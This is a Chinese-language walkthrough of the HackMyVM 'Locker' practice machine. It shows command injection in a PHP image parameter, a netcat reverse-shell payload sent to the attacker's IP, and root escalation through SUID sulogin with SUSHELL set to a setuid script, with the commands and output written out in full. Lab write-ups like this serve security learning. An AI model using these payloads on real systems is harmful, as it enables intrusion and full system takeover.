HMV-Locker靶机复盘
端口扫描 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌──(root㉿kakeru)-[~/ tmp] └─ Starting Nmap 7.95 ( https://nmap.org ) at 202 5-0 2-10 15 :09 CST Nmap scan report for 192.168 .179.190 (192.168 .179.190 ) Host is up (0.0028 s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80 /tcp open http nginx 1.14 .2 |_http-server-header: nginx/1.14.2 |_http-title: Site doesn't have a title (text/ html). MAC Address: 7 E:C0:A5:40 :29 :72 (Unknown) Device type: general purpose Running: Linux 4 .X|5 .XOS CPE: cpe:/ o:linux:linux_kernel:4 cpe:/ o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19 , OpenWrt 21.02 (Linux 5.4 ) Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 2.80 ms 192.168 .179.190 (192.168 .179.190 )OS and Service detection performed. Please report any incorrect results at https:// nmap.org/ submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.06 seconds
竟然只开放了一个80端口,用-p-参数也是只发现这一个端口
web探测 1 2 3 4 5 6 7 8 ┌──(root㉿kakeru)-[~/tmp] └─# curl 192.168.179.190 <h1 > SUPER LOCKER</h1 > <pre > Use root password to unlock our powers! aAaaaAAaaAaAAaAAaAAaaaA! <a href ="/locker.php?image=1" > Model 1</a > </pre >
提示和root有关,但是这里也没有ssh服务可以爆破,先扫扫目录吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(root㉿kakeru)-[~/tmp] └─# gobuster dir -u 192.168.179.190 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.179.190 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== Progress: 207643 / 207644 (100.00%) =============================================================== Finished ===============================================================
去浏览器里看看,发现有一个超链接 点进去之后出现一个锁的图片,并且url中多了一个image参数,修改这个参数的值会出现不同的锁的图片 但是用sqlmap尝试发现不是可以sql注入的。 现在和url参数有关的就只有wfuzz了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(root㉿kakeru)-[~/tmp] └─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.179.190/locker.php?FUZZ=1 --hw 2 /usr/lib/python3/dist-packages/wfuzz/__init__ .py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. **** **** **** **** **** **** **** **** **** **** **** **** **** **** * Wfuzz 3.1.0 - The Web Fuzzer ***** **** **** **** **** **** **** **** **** **** **** **** **** **** Target: http://192.168.179.190/locker.php?FUZZ=1 Total requests: 4734 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002172: 200 803 L 805 W 61829 Ch "image" Total time: 84.76008 Processed Requests: 4734 Filtered Requests: 4733 Requests/sec.: 55.85175
搜出来locker.php这个文件还是只有参数imgae。没有进展了,看wp知道了这里存在命令注入 具体是怎么发现的呢? 我们重新扫一下目录,但是指定后缀扫描,发现有三个jpg文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌──(root㉿kakeru)-[~/tmp] └─# gobuster dir -u 192.168.179.190 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,php,jpg,webp =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.179.190 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,php,jpg,webp [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 142] /1.jpg (Status: 200) [Size: 45726] /2.jpg (Status: 200) [Size: 66605] /3.jpg (Status: 200) [Size: 62722]
在bp中发现,如果?imgage=1可以访问到第一张图片,但是?image=1.jpg却不能显示 所以很有可能是自动在后面拼接了.jpg,所以如果输入了.jpg就会变成1.jpg.jpg无法访问 现在用;闭合,发现可以成功访问了 既然这里是读取文件的,那就去看这个locker.php的具体代码是什么样的 ?image=locker.php()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP/1.1 200 OKServer : nginx/1.14.2Date : Mon, 10 Feb 2025 07:51:35 GMTContent-Type : text/html; charset=UTF-8Connection : closeContent-Length : 244<img src ="data:image/jpg;base64, <?php $image = $_GET ['image' ];$command = "cat " .$image .".jpg | base64" ;$output = shell_exec ($command );print '<img src="data:image/jpg;base64,' .$output .'"width="150"height="150"/>' ;?> " width ="150" height ="150" />
逻辑是先获取我们image输入的参数,在后面拼接.jpg然后执行这个命令,所以我们可以用;把前面一个cat闭合然后输入想要执行的命令最后输入;截断 成功! 所以输入反弹shell指令
1 2 3 4 5 6 GET /locker.php?image=;nc -e /bin/bash 192.168.179.83 1234; HTTP/1.1 ┌──(root㉿kakeru)-[~/tmp] └─# nc -lp 1234 id uid =33(www-data) gid =33(www-data) groups =33(www-data)
成功拿到webshell 美化下终端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 id uid=33(www-data) gid=33(www-data) groups =33(www-data) script -qc /bin/bash /dev/null www-data@locker:~/html$ ^Z zsh: suspended nc -lp 1234 ┌──(root㉿kakeru)-[~/tmp] └─# cat bbb stty raw -echo ; fg ┌──(root㉿kakeru)-[~/tmp] └─# stty raw -echo ; fg [1] + continued nc -lp 1234 reset reset: unknown terminal type unknown Terminal type ? xterm ┌──(root㉿kakeru)-[~/tmp] └─# stty -a speed 9600 baud; rows 34; columns 116; line = 0; intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0; -parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc ixany imaxbel -iutf8 opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0 isig icanon iexten echo echoe -echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc www-data@locker:~/html$ stty rows 34 columns 116
提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 www-data@locker :~/html$ sudo -l bash: sudo: command not found www-data@locker:~/html $ find / -user root -perm -4000 -print 2 >/dev/null /usr/lib /openssh/ssh -keysign/usr/lib /dbus-1.0/dbus -daemon-launch-helper/usr/lib /eject/dmcrypt -get-device/usr/sbin /sulogin /usr /bin/umount /usr/bin /gpasswd /usr /bin/newgrp /usr/bin /chfn /usr /bin/chsh /usr/bin /passwd /usr /bin/mount /usr/bin /su
sudo没有 suid也没有特殊的。 先上传一个自动检测提权的脚本linpeas.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ┌──(root㉿kakeru)-[~/tmp] └─# python3 -m http.server 80 Serving HTTP on 0 .0 .0 .0 port 80 (http://0 .0 .0 .0 :80 /) ... 192.168.179.190 - - [10/Feb/2025 16:01:32] code 404 , message File not found192.168.179.190 - - [10/Feb/2025 16:01:32] "GET /lineas.sh HTTP/1.1" 404 -192.168.179.190 - - [10/Feb/2025 16:01:38] "GET /linpeas.sh HTTP/1.1" 200 -www-data@locker:/tmp$ wget 192 .168 .179 .83 /linpeas.sh --2025 -02 -10 03 :01 :38 -- http://192 .168 .179 .83 /linpeas.sh Connecting to 192 .168 .179 .83 :80 ... connected. HTTP request sent, awaiting response... 200 OK Length: 332111 (324K) [text/x-sh] Saving to: 'linpeas.sh' linpeas.sh 0 %[ ] 0 --.-KB/s linpeas.sh 100 %[==============================================>] 324 .33K --.-KB/s in 0 .01s 2025 -02 -10 03 :01 :38 (24 .8 MB/s) - 'linpeas.sh' saved [332111/332111] www-data@locker:/tmp$ chmod +x linpeas.sh www-data@locker:/tmp$ ./linpeas.sh
没有扫出什么东西. 卡住了 原来是sulogin这个有suid也是可以利用的 我们可以指定环境变量,决定启用什么shell
1 2 3 ENVIRONMENT VARIABLES sulogin looks for the environment variable SUSHELL or sushell to determine what shell to start. If the environment variable is not set , it will try to execute root's shell from /etc/passwd. If that fails, it will fall back to /bin/sh.
在这里,如果我们直接用sulogin -e 是没法进入shell的,需要密码 但是如果指定了SUSHELL就可以(比如这里我进一个sh)
1 2 3 4 5 6 www-data@locker:/etc$ export SUSHELL =/bin/sh www-data@locker:/etc$ sulogin -e Press Enter for maintenance (or press Control-D to continue): $ id uid =33(www-data) gid =33(www-data) groups =33(www-data)
那现在就可以写一个脚本来利用了.在本地写利用脚本然后上传到靶机
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ┌──(root㉿kakeru)-[~/tmp] └─# cat tmp.c #include <stdio.h >#include <unistd.h >#include <stdlib.h >int main (){ setuid (0 ); setgid (0 ); system ("/bin/bash"); return 0 ; } ┌──(root㉿kakeru)-[~/tmp] └─# gcc tmp.c -o locker -static ┌──(root㉿kakeru)-[~/tmp] └─# python3 -m http.server 80 Serving HTTP on 0.0 .0 .0 port 80 (http://0.0 .0.0 :80 /) ... www-data@locker :~$ cd /tmp www-data@locker :/tmp$ wget 192.168 .179.83 /locker --2025 -02 -10 03 :26 :06 -- http ://192.168 .179.83 /locker Connecting to 192.168 .179.83 :80 ... connected. HTTP request sent, awaiting response... 200 OK Length : 70536 (69 K) [application/octet-stream]Saving to : 'locker' locker 0% [ ] 0 --.-KB/s locker 100% [==============================================>] 68.88 K --.-KB/s in 0.005s 2025 -02 -10 03 :26 :07 (14.8 MB/s) - 'locker' saved [70536 /70536 ]
这里有一点要注意,如果编译的时候后面没有加上-static,就不是静态链接可执行文件(不依赖动态库) 但是不知道为什么我这么做了之后显示exec format error 我就改成用python脚本了
1 2 3 4 5 6 7 #!/bin/python3 import os os .setuid(0 )os .setgid(0 )os .system('/bin/bash' )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 www-data@locker :/tmp $ wget 192.168 .179.83 /setuid.py --2025 -02 -10 03 : 52 : 30 -- http: //192.168.179.83/setuid .py Connecting to 192.168 .179.83 : 80 ... connected.HTTP request sent, awaiting response... 200 OK Length : 134 [text/x-python]Saving to: 'setuid.py' setuid.py 100 %[===================>] 134 --.-KB /s in 0s 2025 -02 -10 03 : 52 : 30 (1.62 MB /s) - 'setuid.py' saved [134 /134 ]www-data@locker :/tmp $ chmod +x setuid.py www-data@locker :/tmp $ export SUSHELL =/tmp/setuid .py www-data@locker :/tmp $ /usr/sbin/sulogin -e Press Enter for maintenance(or press Control -D to continue): UID and GID setroot@locker :~
总结:学到了一般有url参数的时候的另一种思考方向:命令执行注入 gobuster可以-x指定后缀,可以找到更多的路径 sulogin是一个新学会的东西。这个和靶机扫不到ip然后进入single但用户模式的原理是一样的 用sulogin提权就是修改SUSHELL。现在我也学到用python怎么写setuid的脚本 c语言编译选项加上 -static就是生成静态链接文件,不用动态库